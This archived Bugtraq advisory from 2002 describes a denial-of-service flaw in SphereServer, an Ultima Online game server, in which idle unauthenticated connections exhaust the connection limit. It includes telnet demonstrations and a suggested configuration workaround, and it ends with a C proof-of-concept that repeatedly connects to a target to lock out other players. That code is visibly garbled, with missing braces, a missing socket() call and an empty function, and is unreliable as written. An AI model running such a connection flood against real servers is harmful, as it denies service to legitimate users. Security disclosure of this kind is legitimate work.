Home page logo

bugtraq logo Bugtraq mailing list archives

Denial of Service in Sphereserver
From: <iphantomi () web de>
Date: Sat, 2 Mar 2002 16:12:43 +0100

 H Zero Seven Security Advisory [15.02.2002]

 SphereServer Denial of Service Vulnerability



 The SphereServer is an Ultima Online Roleplay Server
 (Multiplayer). Some people use this inofficial Server
 to host Free Roleplay Worlds for an large community of
 Players. The Developer of the Software is MenaSoft
 (www.menasoft.com). Thus no ip-limitation exists in 
 the configuration so anyone can connect several times.
 The Problem is that an client can hold the connection
 without user-identification. So its possible to reach
 the maximum connection count and block other users.

 Affected Systems:

 Sphere99x - Linux, FreeBSD, Win32

 Possible affected:

 Sphere 0.5x


The SphereServer user-auth is very simple and you can authenticate with telnet too. 

 linentw:~ # telnet target 2593
 Trying target...
 Connected to target.
 Escape character is '^]'.

 [so at this point the sphereserver count you as an client]:
 90:Client connected [Total:1] from ''.

 [now send an space and the sphereserver ask for the username]
 Username: _

 [type username return and the password]

cc:Login 'validusername'   <-- loged in and with the client you can play :)
 So the problem is that the server count you as an client still you
 connect and sent nothing to it. And do this several times until the
 max_connections reached, so the server blocks all new connections.

 linentw:~ # telnet target 2593
 Trying target...
 Connected to target.
 Escape character is '^]'.
 Maximum connections reached, please try it later
 Connection closed by foreign host. 
There is no true time_out variable in the configuration file and the death_socket function does not work correctly in 
sphere. The Vendor has been informed about this, but no answer. 



 no true fix available, but set the death_socket variable in the configuration to 3 should help for the first time, 
even it does not work correctly (its like an dice-game).


This advisory does not claim to be complete. The informations may be inaccurate or wrong. Possible exploit code is only 
written for testing purposes. Articles based on informations in this advisory should have an link to this document.


 * www.h07.org
 * H Zero Seven 
 * Unix Security Research Team
 * Sphere Ultima Online Server - Denial of Service Vulnerability
 * poc-exploit...
 * Simple code to eat all connections from the gameserver, so other
 * peoples could not connect to the server.

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <sys/socket.h>
#include <sys/types.h>
#include <netinet/in.h>
#include <stdarg.h>
#include <time.h>
#include <sys/time.h>

int Connect(int ip, int port)
   int fd;
   struct sockaddr_in tgt;
   if (fd<0) return -1;
   memset(&tgt,0,sizeof(struct sockaddr_in));
   tgt.sin_port = htons(port);
   tgt.sin_family = AF_INET;
   tgt.sin_addr.s_addr = ip;
   if (connect(fd,(struct sockaddr*)&tgt,sizeof(struct sockaddr))<0) return -1;
   return fd;

int sprint(int fd, const char *str,...)
   va_list args;
   char buf[4096];

int main(int argc, char *argv[])
   int fd;
   struct sockaddr_in box;
   fprintf(stderr, "SphereServer DoS Exploit [poc]\n");
   fprintf(stderr, "H Zero Seven - Unix Security Research Team - www.h07.org\n\n");
   if (argc < 2) {
      fprintf(stderr, "usage: %s <sphere ip> [sphere port]\n",argv[0]);
   fprintf(stderr,"for the full advisory regarding this vulnerability visit www.h07.org ... \n");
   if (fd<0) {
      perror("socket() ");

   fprintf(stderr,"Attacking sphere : ");
   for (;;) {
      int sock;
      sock = Connect(inet_addr(argv[1]),(argc>2)?(atoi(argv[2])):3128);
      if (sock<0) {
       fprintf(stderr, ".*");


 H Zero Seven - Unix/Linux Developer Team
100 MB gute Gründe! Jetzt anmelden und FreeMail-Speicher erweitern für
Sprach-, Fax- und Mailnachrichten unter http://club.web.de/?mc=021103

  By Date           By Thread  

Current thread:
  • Denial of Service in Sphereserver iphantomi (Mar 03)
[ Nmap | Sec Tools | Mailing Lists | Site News | About/Contact | Advertising | Privacy ]